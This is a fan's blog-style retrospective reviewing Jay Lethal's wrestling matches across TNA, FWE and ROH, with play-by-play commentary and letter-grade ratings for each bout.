One fall to a finish here. Bentley has Traci with him and we get the eternally stupid Bentley Bounce. Can we just watch Traci bounce instead? Bentley and Williams start things off as the fans chant for Lethal. It’s a feeling out process to start with Williams taking over. He goes to do the O Canada deal but Traci offers a curvy distraction. Lethal and Shelley come in and the fans get loud for the first time tonight.

We get a gymnastics routine resulting in them both trying dropkicks at the same time. They chop it out and Lethal hits a dropkick to the back of the head for two. A modified northern lights suplex gets the same for Jay as Shelley tags out with his foot. I guess that doesn’t count so Alex hooks a modified Koji Clutch on jay to take over. Shelley hits a slingshot hilo for two on Jay but Williams tags himself in to face Lethal.

Petey hits a dropkick to the back and slams Jay down. Off to a camel clutch but Shelley comes in to argue about Williams getting the win. That allows Jay to tag in Bentley as this is coming off more like a tag match than a fourway. Bentley cleans house but gets crotched by Petey. A Tower of Doom is broken up and Lethal grabs a bridging German for two on Shelley, but Bentley drops a top rope elbow to break it up. Williams counters a suplex and hits a rolling neckbreaker for two on Bentley.

Lethal comes back in and goes off on Shelley but Alex gets a drop toehold to break it up. Bentley comes back in and things speed WAY up as he and Shelley do a too fast to call sequence. Jackie Gayda comes out and goes after Shelley (Shelley filmed the tape that has been brought up multiple times tonight). She beats him up in the aisle as Bentley backdrops out of the Canadian Destroyer. Lethal dives on Bentley and steals the pin while he’s still down.

Rating: C+. This was fine but after we already saw one match similar to this, there wasn’t as much interest in seeing another one. Still though it was fine and a good use of about ten minutes. Also the fans were into Lethal which is more than can be said for anyone in the opener, save for Aries when he did the suicide dive. Decent match here but nothing that I’ll remember in about ten minutes.

Lethal would get involved in the bizarre Paparazzi Championship Series as Black Machismo Jay Lethal, a character based on Macho Man Randy Savage. This somehow resulted in an X-Division Title shot at Slammiversary 2007.

X-Division Title: Chris Sabin vs. Jay Lethal

Sabin has been champion for like five months at this point. Nash comes out for commentary because he’s molded Lethal into Black Machismo recently. Nash’s headset goes out almost immediately after the bell rings and the fans are split. Lethal gets a pretty sweet headscissors to send him to the floor, followed by an ok suicide dive. Sabin spits in Lethal’s face and hits a jumping knee to the face to take over.

Sabin fires off something like a Garvin Stomp but does it fast enough that I don’t have to think of Garvin. The announcers are talking about Nash beating Backlund in MSG. How exactly can you analyze a match that lasted 8 seconds? We go into a standard match formula with Sabin beating Lethal down until we get to the Lethal comeback and then go to the finish.

I’m not sure what it means when you can more or less call the formula for a match about halfway through it, but I don’t think it’s anything good. Lethal makes that comeback with a few hip tosses and a spinning cross body for two. Nash: “This place used to be called Jonesville. Then I got here.” Lethal hits a unique move which can only be described as a reverse fisherman’s suplex into a reverse powerbomb. Looked good but too complicated at the same time.

Sabin takes over with some rapid fire kicks which is what he would get more famous as soon enough in the Motor City Machine Guns. Lethal grabs a full nelson but can’t hit the Lethal Combination. The second time works a bit better and the big elbow gives Lethal his first of I believe six X-Titles.

Rating: C. Just ok here and nothing all that great. Lethal wasn’t exactly over yet and he wouldn’t be for a long time. At this point he was just a goofy 22 year old who did nothing but imitated a much better guy. Nothing to see here but for a big show they needed a title change so that’s all fine and good.

Eventually Kurt Angle would win all of the titles in TNA at one time, meaning he had to defend them all in one night. Lethal got the X-Division Title shot at No Surrender 2007.

X-Division Title: Kurt Angle vs. Jay Lethal

Fans are totally behind Lethal who has about zero chance, which means he’s likely to win. They try some speed stuff to start until Angle wakes up and uses his power and wrestling advantages. Double axe off the top by Lethal gets two. Angle is like boy I’m Kurt Angle and hits a buckle bomb to take over. Dang Angle vs. Savage would have been completely epic.

Down to the mat now and it’s almost all Angle. Tilt-a-whirl backbreaker gets two. Off to a chinlock but Lethal fights up and takes Angle down. Lethal speeds things up and gets an enziguri for two. This is all about Angle with Lethal just being there to fill in a place. HUGE release German changes the control with ease. I love those suplexes Angle throws. They’re things of beauty.

Lethal counters a slam into a DDT for two. He looks like an idiot with his hair going all over the place. He’s far better now and has filled out a bit too. Lethal goes up for the elbow but Angle climbs the ropes to get the suplex for two. Ankle lock goes on for a second but Lethal counters and gets a small package for two. Rolling Germans go on but Lethal kicks out. These near falls are getting very close.

Angle goes for the Slam but Lethal counters with an arm drag. Lethal Combination (sets for a downward spiral but drops the guy forward into his knee and then the downward spiral) gets….nothing as instead he drops the elbow for two. Dude you hit a move with your name in it. It was over!

Angle tries a powerbomb but Lethal reverses and gets a rollup for two. Angle drills him with another German for his trouble. There go the straps but the Slam is reversed. Ankle Lock is reversed into a rollup, and in what is probably the biggest upset in TNA history up to that point (and still one of the biggest ever), Lethal gets the pin and the title. The X-Division guys come out to celebrate as Lethal is shocked that he did that.

Rating: B+. Surprisingly enough this was very good. Something to keep in mind here: Lethal was an X-Division comedy guy and he just got a clean pin on the world champion. This was an excellent example of how you put someone over. Lethal won with a rollup, but he wasn’t dominated at all.

This was back and forth and they looked like equals. That’s how you put someone over: you make them look like they belong in the same ring as you. Just a pin out of nowhere after getting destroyed for ten minutes doesn’t prove anything. This was very good and a rather fun match. Check it out if you’re really bored as it might be Lethal’s best match ever.

After losing the title, Lethal would get a semi-rocket push up the card, landing in a feud where he teamed with the Motor City Machine Guns against Team 3D and Johnny Devine. Here’s one of their shotdowns at Against All Odds 2008.

Jay Lethal/Motor City Machineguns vs. Team 3D/Johnny Devine

This is a hardcore street fight and Lethal had been rapidly rising through the ranks recently. I’d expect a showcase match for him here. It seems that any X guy can pin any evildoer to win the title because that’s how wrestling titles are supposed to be right? As expected it starts in the aisle. It’s Lethal vs. Ray on the table. Now those two are in the ring. The other four are off fighting…somewhere.

Lethal in control as the Guns are in the ring now. There’s a sign that says USE MY SIGN. Lethal takes it and it’s a Dead End street sign underneath the paper. Triple plancha by the X guys to take out the heels on the floor in a cool spot. Everyone in the ring now as the X guys have controlled the whole time. Triple Tornado DDT get 2’s all around. Someone brings in the weapons including an inflatable woman. Oh dear.

The kitchen sink is brought in of course because that’s been funny the last 19 times it’s been done right? Another triple cover gets two. The Dudleys get a double suplex on Lethal. The heels take over and the fans want tables. The X Guys take over again for a bit. This is one of those messes of a match which has no flow at all and is just a big fight that goes back and forth.

3D to Sabin and one for Shelley as well. Lethal takes D-Von down but Ray kills him with a clothesline. The fans still want tables. So Cal Val is crying over Lethal. This is before she turned on him I guess. Lethal flips off Ray as Val tries to intervene. Ray grabs her by the hair and whips out a cheese grater. He licks her face for no apparent reason until Lethal can make the save.

Big chair shot to the head of Ray by Lethal but D-Von pulls the referee out just in time. Remember what I said about Lethal doing this on his own? It’s literally 3-1 at this point and Lethal is getting near falls out there. Lethal Combination gets two on Devine and then he gets two on D-Von. He walks into a Bubba Bomb though which somehow only gets two. Dude the Guns have been down what, five minutes now on those 3Ds?

D-Von sets up the tables and the Dudleys are suddenly faces. Lethal fights off the Dudleys again but here’s Devine with that street sign. Jay gets it and pops Devine over the head with it, sending him to the table. Top rope elbow through the table and through Devine saves the X-Division. This match ran twelve and a half minutes and I kid you not it was 3-1 for at least four of those.

Rating: C+. Lethal dominance aside this was ok. The ending is completely absurd and Lethal looks way too good here, but the main issue is that this went on too long. The match was too wild and the first half is very hard to follow. Still though, not bad although I wasn’t bored at all with it. Exciting but not good for the most part, but I think that was the point so I’ll let it slide.

Next up was a feud with Sonjay Dutt over Lethal’s girlfriend So Cal Val. Since Russo used to book TNA, it was time for a gimmick match with a stupid name: a Black Tie Ball and Chain match at Hard Justice 2008. It means they’re in tuxedos and it’s a strap match.

Sonjay Dutt vs. Jay Lethal

Val has her wedding ring here which she didn’t have recently. They’re tied by a chain. Like any good heel, Dutt doesn’t want to put the chain on. While Dutt has his put on him, Lethal slips his off and chains his part to the rope. Lethal gets in some free shots and the tuxedos are making this look stupid. Lethal is in a white tux and Dutt is in black. Nice symbolism no?

Dutt manages to get the chain and slams it into the balls of Lethal. West: “You talk about a chain burn in the wrong place.” Dutt starts ripping off clothes but can’t hit a fist drop with chain wrapped around his fist. Lethal pounds away and rips off a sleeve. That must not be a well made jacket. Lethal throws him over the top and his arm shoots out which looked funny.

Lethal is in total control and Val isn’t happy with him. Dutt has been chained around the post and there goes his jacket and shirt. Scratch that as Dutt manages to get them back on. This is like a board game instead of a wrestling match. Dutt gets a cool move in as Lethal is standing on the floor and has his face on the apron. Dutt slides in and swings his feet around to kick Lethal in the face like a 619.

Jay keeps choking away and Val is freaking. She’s up on the apron begging him to stop and now is throwing her hands up and leaving. Dutt uses the distraction to pull Lethal shoulder first into the post. Lethal is in the Tree of Woe and is down to his pants and cummerbund. Lethal’s family is freaking out (it’s his home state remember). There’s a very light fire Russo chant. Now there’s a loud boring chant.

Dutt tries a springboard move but Lethal whips the chain down to send Dutt flying. That looked pretty cool. Lethal whips him from corner to corner and Dutt is in trouble. Lethal Combination is blocked so Jay hits an inverted powerbomb for two. Dutt gets him in a Stunner position and then jumps backwards, flipping over Lethal’s shoulders and slams his head into the mat. LOUD fire Russo chant now. Dutt tries something off the top but Lethal moves and hits a suplex for two. Lethal Combination hits and the top rope elbow (he’s the Macho Man character) gets the pin. Yes after all that, the clothes meant NOTHING.

Rating: C. The match was ok but the clothes thing got really old really fast. The problem is you already have a gimmick in place with the chain. Having two gimmicks in a single match is too much and it overly complicates things which it did here. Not a bad match but the gimmick got in the way of the match, which is Russo 101 when he’s not on his game.

Lethal would become part of a tag team with Consequences Creed called Lethal Consequences. They would cash in Feast or Fired (TNA’s Money in the Bank) to win the belts three days before Genesis 2009. Here’s a title defense from that PPV.

Tag Titles: Lethal Consequences vs. Beer Money vs. Matt Morgan/Abyss

Abyss has some wicked cool blue fire for his entrance. Morgan and Abyss are arguing apparently lately. This was supposed to be a regular tag match but we threw in another team just for the heck of it. The Boozer Cruiser debuts here. Roode might have a slight knee injury. Very slow to start us off here with Storm and Creed starting us off. That sounds like the opening lineup for a concert.

This is really boring with nothing of note going on about two minutes in. I still don’t get the point in making this a threeway. It just doesn’t help at all as far as I can tell. Everyone beats up Beer Money, which tells me they’ll win. Stereo dive/flip by the champions to take out Beer Money. Morgan and Abyss haven’t done much at all here.

Morgan goes up top and takes out all four of them with a BIG dive off the top. Sweet one. The best team in this misses a double bulldog on Abyss and then do their shot which they haven’t perfected yet. West talks about how great the tag division is and he’s more or less right. The division is indeed better than WWE’s, which isn’t saying much really. Creed takes out Beer Money again which has been a running theme so far.

This is just kind of dragging along here. It’s not particularly bad and the high spots are helping it out, but this just isn’t getting going. Then again it might be that there’s no real drama here. I really would have preferred a standard match as the third team is just cluttering things up out there. Storm has a cowboy hat on now for no apparent reason.

What is the obsession in wrestling with cowboys? There are cowboy characters everywhere and there almost always have been. What is the deal with that? Cowboys are cool I guess but why do we have to have at least one in every promotion? Lethal comes in and cleans some house as Morgan and Abyss stay on the apron for about 80% of the match so far. Morgan saves a pin though.

Lethal can’t hurt Abyss with punches so Abyss grabs him and gives him a chokebreaker which looked sick. It’s a big mess now as everyone goes for their finishers. Roode hits a Blockbuster on Morgan for two again. Belt is tossed in and Abyss misses a shot with it so that Roode can cover him. Since it’s TNA though that’s too simple so we do like three more things and THEN Roode gets the pin on Morgan.

Rating: D. This was ok but sweet goodness it was just boring at times. I still don’t get why they had to have three teams in there. The match was ok but it just never clicked at all. This was more about Morgan and Abyss splitting up which they more or less do after the match, but why did we need Lethal Consequences in there to do that? They were thrown in less than a week before, so what’s the point? Match was just too crowded.

Lethal would start falling down the card soon after this, only being able to get a random six man tag at Sacrifice 2009.

Eric Young/Lethal Consequences vs. Sheik Abdul Bashir/Motor City Machine Guns

Hey look it’s a totally pointless cruiserweight match! The Guns are heels here and have the IWGP Junior Heavyweight Tag Titles. You know, because two small guys like them could never hold the REAL tag titles right? Bashir is in World Elite at this point and is of course the EVIL Muslim. Young is just Eric Young here and isn’t a coward or crazy etc. His partners are a parody of Savage and Apollo Creed’s idiotic nephew. Sure why not.

We’re 20 seconds into this match and West is already on my nerves. Sabin and Lethal start us off. Rollup by Sabin gets two on Young as the Canadian is in trouble. We talk about the main event because no one cares about these twerps in the ring right? It’s just a bunch of random moves at a slightly faster than average pace. Shelley starts his series of kicks and tags in the Sheik.

I know I’m not saying a lot here but there’s just nothing of note. It’s a six man match with no real rhyme or reason to anything. The match isn’t bad or anything but it’s just a meaningless 15 minute match that goes nowhere and proves nothing. Big old double dive by Creed and Young to pop the crowd pretty well. Diamond Cutter by Sabin takes out Young. There’s a lot of high spots and double team moves going on with tagging being completely forgotten but it’s nothing spectacular. It’s good though.

Creed hits a DDT and Lethal gets two off of it, making one of the funniest faces appear on Lethal’s face. Sabin takes down with a hard spank. I wish I was making that up but it’s TNA so did you expect something else? Bashir hits a move similar to what Kaz was using recently with that Piledriver move on Lethal for two. In our unhyped move of the match, Young gets a Death Valley Driver on both Guns at once. Naturally this is treated like a basic chop because TNA’s announcers have to shout later on about basic moves. A sunset flip from Lethal to Bashir ends it seconds later.

Rating: B-. Fun match but again it’s just random cruiserweight stuff. Definitely good, but at the same time it kind of makes me say so what? Them dropping the whole tagging aspect a few minutes in was definitely the right idea as since this was supposed to be totally insane having them tag would have been dumb. This was a great choice for an opener as the crowd was into it and the faces won.

We’ll jump ahead a little over a year. Lethal would win and lose the X Title a few more times, eventually challenging Robbie E. for the belt on Impact from December 16, 2010.

X-Division Title: Jay Lethal vs. Robbie E

At least Cookie looks good. Lethal jumps him for a fast start. Cookie trips Lethal seconds into it and his nose slams into the mat. Here comes Christy bouncing down the ramp with a pair of handcuffs to hook herself to Cookie. It’s a new zany comedy coming this Fall! We take a break with Robbie hammering on Lethal in the corner.

Back with Lethal getting a small package for two. Robbie gets a nice Russian leg sweep for two. The girls start fighting at ringside which means Christy beats on her. ReAction starts at 11:30 tonight only. Hopefully that’s a permanent thing. Lethal gets a suplex to take over again. We cut to Christy jumping in excitement. I regain consciousness as Lethal gets a nice top rope elbow for two.

Robbie gets a rollup with the ropes for two but gets caught as he goes up top. Superplex by Lethal has Robbie and the title in big trouble. Cookie tries to slip the spray in to Robbie get it winds up in her own eyes. Lethal Injection gives Jay his 6th title reign at 7:00 shown out of 10:30 total. Jay kisses Christy post match.

Rating: C+. Pretty good match here but all the interference and focus on the girls hurt a bit. This wasn’t terrible and Lethal should have the title again. At least we don’t have to see Robbie on TV as much anymore. Pretty good match and the longest Impact match I can remember in awhile.

Lethal would leave TNA soon after this and hit the indies, including a promotion called FWE. Here’s a match from their Meltdown show on May 14, 2011.

Eric Young vs. Jay Lethal

Lethal is doing a Jeff Jarrett imitation tonight, though he’s in regular attire. Eric has the original TNA World Title belt with him here as part of a stupid gimmick he was doing in TNA. Before the match, Lethal thanks the fans that have stayed through the long show and promises that he and Young will put on a great show. They start fast by running the ropes and trading leg trips into two counts each for a stalemate.

Back up and they run the ropes a bit more until Lethal hits a Tajiri handspring elbow for two. They hit the ropes even more until a back elbow puts Lethal on the floor. Jay stops again and asks a fan for a coin. Everyone knows he can do a pretty good Macho Man and Ric Flair impression so here’s his plan: if it’s heads he’ll wrestle as Ric Flair but if it’s tails he’ll wrestle as Randy Savage. Young looks at the coin and gets chopped down, setting up the strut from Lethal.

Some right hands put Young down for two and a knee drop gets the same. Young comes back with chops of his own followed by a big clothesline to put Jay on the floor. Eric puts the coin in his pocket in a funny bit. Lethal grabs the mic again and says he’s going to snap into Young and comes back in with a knee to the ribs followed by a top rope ax handle for two. A clothesline puts Young on the apron and he does a Flair strut of his own.

Back in and Jay walks into a running forearm for two but gets his boot up to stop a diving Young. They hold the poses for about 30 seconds with Young standing there as Lethal gets to his feet. Jay puts on some local sports jersey as Young literally lays down for the Macho Elbow and a two count. Eric steals the jersey and this time it’s Lethal laying down for the elbow and two. A superplex puts Jay down but Lethal kicks his legs into the air to tie up Eric’s legs for a pin on Young.

Rating: C-. Eh it’s an indy show so I can give this a break. FWE stands for Family Wrestling Entertainment and a lot of younger fans probably got a kick out of this match. It wasn’t meant to be anything epic andit didn’t come off as such. Lethal was amusing for the most part and Young kept it serious out there save for that standing still bit so it was much more lighthearted than anything else.  THe Jarrett impression didn’t go anywhere.

Lethal would head to ROH soon after this and get into the TV Title hunt. Here he is challenging champion El Generico on ROH TV from October 1, 2011.

TV Title: Jay Lethal vs. El Generico

Well they have a lot of time for this one at least with over 20 minutes to go. And never mind as Kelly tells us there’s a 15 minute time limit. McGuinness wants to know why he’s more tanned than Generico who is from Mexico. Generico speeds things up to take over early. Lethal is like “I can do moves that are flashy but don’t really hurt that much either!” Backbreaker gets two for Lethal but Lethal hooks on some weird surfboard variation with a Texas Cloverleaf leg grip.

Dropkick gets two for Lethal. Generico speeds things up with arm drags and hits a huge swan dive over the top to take Lethal out as we go to a break. Back with Lethal in control after Generico hit a moonsault off the guardrail. Ok scratch that as Generico gets two off something we missed while watching a replay. Lethal gets a sunset flip for two. This isn’t much of a match but indy fans would love it.

They slug it out and Lethal is sent to the top for a missile dropkick. With three minutes remaining in a 15 minute time limit we’re heading for a time limit draw (at the 12 minute mark that is). Lethal Injection gets two. Generico walks the corner and hits most of a tornado DDT for two. There’s a minute left. Blue Thunder Bomb (go play No Mercy for a description) gets two and we have thirty seconds left. Time expires at 12:40 which is including the commercial time.

Rating: C+. I couldn’t get into this one as well as I was supposed to I don’t think. There wasn’t much of a story to it other than two not very high fliers doing their thing. It wasn’t bad or anything but it wasn’t this epic confrontation that they were shooting for. Still though, pretty good although the ending is kind of stupid. Oh of course that isn’t the finish.

At 2:54 Jim Cornette comes out and says we have three minutes left in the show so put three minutes on the clock and get to it.

They slug it out like crazy after being all respectful. Generico hits the Yakuza kick and a half nelson suplex for two. Generico loads up the Brainbuster but Lethal escapes and goes up for a top rope elbow but Generico moves and the Brainbuster is blocked again. There’s the elbow for two. A snap suplex sets up a second Yakuza kick but Lethal counters with a superkick and the Lethal Combination (called the Injection here) for the pin and the title at 2:24 of overtime. The overtime was better than the regular match.

Lethal would start a feud with the undefeated Tomomaso Ciampa and face him at Border Wars 2012.

Jay Lethal vs. Tommaso Ciampa

Ciampa is part of the Embassy, a heel stable. He jumps Lethal to start but gets pulled out to the floor for a brawl before the bell. Lethal pounds away on Ciampa but Tommaso comes back with a hard chop to send him against the railing. Ciampa lowers his knee pad and charges at Jay, only to slam his own knee into the barricade. He shakes the pain off though and sends Lethal into the barricade a few times but the fans chant for Kevin Steen for no apparent reason. This is all still before the bell.

Lethal comes back with a catapult to launch Ciampa face first into the entrance to shift control again. Jay finally heads inside with Ciampa down on the floor but one of the Embassy guys breaks up a suicide dive bid. The distraction lets Ciampa get in a quick to Lethal’s head for a two, a few seconds after the bell finally rings. Tommaso chokes away on the apron before putting on a very modified dragon sleeper.

Ciampa pounds away in the corner including going after Lethal’s eye for a bit. This is slowing way down and it’s not exactly entertaining stuff at this point. Apparently Ciampa is undefeated for like two years coming into this. Jay gets in a shot to the head and they slug it out very slowly. You really shouldn’t be at a last man standing slugout just four minutes into a match.

Lethal takes over and Ciampa is in trouble. Again just four minutes into the match, which is too little for being so tired. Yeah they brawled, so maybe it was ten minutes in total to make them that exhausted. As usual, I don’t care for the psychology in Ring of Honor. Lethal has to beat up the other Embassy guys, allowing for Ciampa to hit a lariat for two. Jay counters a sunset flip into a rollup for two of his own before being caught by a HARD knee to the head for a near fall.

Another knee to the head in the corner puts Lethal down and there goes the knee pad for several more knees to the head. Lethal counters a powerbomb into an Alabama Slam into the corner but again has to deal with the Embassy leader. A small package gets two for Ciampa (I think) and now Lethal is getting fired up. He goes off on Ciampa and hits a handspring into the ropes into a cutter, apparently called Lethal Injection, for two.

Yet another Embassy guy (these are just guys in suits and not important enough to identify properly) interferes but Lethal slugs him down and gets two off a top rope elbow. Ciampa tells Lethal to come at him, so Jay hooks him in a Rock Bottom position and drives him down onto Lethal’s knee in ten straight backbreakers followed by a downward spiral for Ciampa’s first loss.

Rating: C-. Well that happened. Seriously that’s the entirety of my thoughts on the match. Lethal has never been a guy I’ve cared about at all and Ciampa didn’t show me anything of note here. The ending was just stupid with Ciampa telling him to come for him and Lethal just doing the same move over and over again before getting the win. Also the guys being spent just a few minutes into it still doesn’t work for me at all.

We’ll wrap it up with one of Lethal’s most recent (as of May 2014) big moments. From Supercard of Honor VIII in the culmination of an on again off again two year feud.

TV Title: Tommaso Ciampa vs. Jay Lethal

Ciampa is defending and this is 2/3 falls. This is where the fans were getting restless as you could see a lot of them looking at their phones and the chants started to die a bit. Ciampa takes off his knee brace for the first time since his injury in a symbolic move. Feeling out process to start as they trade headlocks and rollups for two each. A hiptoss puts the champion down and Lethal cartwheels over to a standoff.

They chop it out in the corner but Lethal misses a springboard dropkick. Jay kicks him into the barricade and nails a suicide dive followed by a second one for good measure. A third puts Ciampa into the crowd and the fans chant for ROH. Why they don’t chant for Lethal is beyond me, but it’s happened since the ECW days. Lethal is whipped into the barricade and Ciampa hits a running knee so fast that he falls right back into the crowd. The referee restarts the count for no apparent reason before Ciampa throws Jay back inside.

Jay comes back with some kicks to the head and a dropkick in the corner for two until Ciampa bites Jay’s hand to escape. Lethal tries a Tajiri handspring elbow but gets caught in what was supposed to be a Backstabber. They fight over a suplex until they both go over the top in a big crash. Neither guy gets the better of a slugout and they both slide back inside at the 19 count, which didn’t please the fans in my section. Another Tajiri handspring is countered but Lethal grabs a German suplex for the pin and the first fall.

There’s no rest period so gets in a quick shot to the head and they trade near falls. Lethal Combination (backbreaker into a Downward Spiral) sets up a Koji Clutch on the champion but he counters into a Rings of Saturn Crossface. Jay gets his feet into the ropes though and it’s time for another slugout. Again neither guy can get the better of it so Jay tries another Tajiri handspring but gets caught in a Diamond Cutter, which apparently is the finish to the handspring.

Lethal busts out Ciampa’s finisher (powerbomb into double knees to the back) for two but ANOTHER Tajiri handspring hits the referee. Ciampa rolls some Germans and hits a discus lariat to put both guys down. This brings out Truth Martini who throws Jay the knee brace. He nails Ciampa in the face for two before nailing the top rope elbow, only to have Ciampa Hulk Up. Some superkicks have no effect but Lethal FINALLY hits the handspring into the cutter for the pin and the title.

Rating: C-. This was longer than it needed to be as the second fall could have been cut out to the same result. The ending really didn’t work for me either as Lethal knocked Ciampa out but they did another minute or so, making the entire knee brace thing seem completely worthless. Just too long here, but I’ve never been a Jay Lethal fan in the first place.

Lethal is a case where I just don’t get it. He’s not horrible but I really don’t see why so many people like the guy. Part of it is I see the guy who used to imitate Macho Man and that’s a really hard gimmick to get away from. He just comes across as a guy who shouldn’t be as big a deal as he is, though he’s certainly not bad in the ring.

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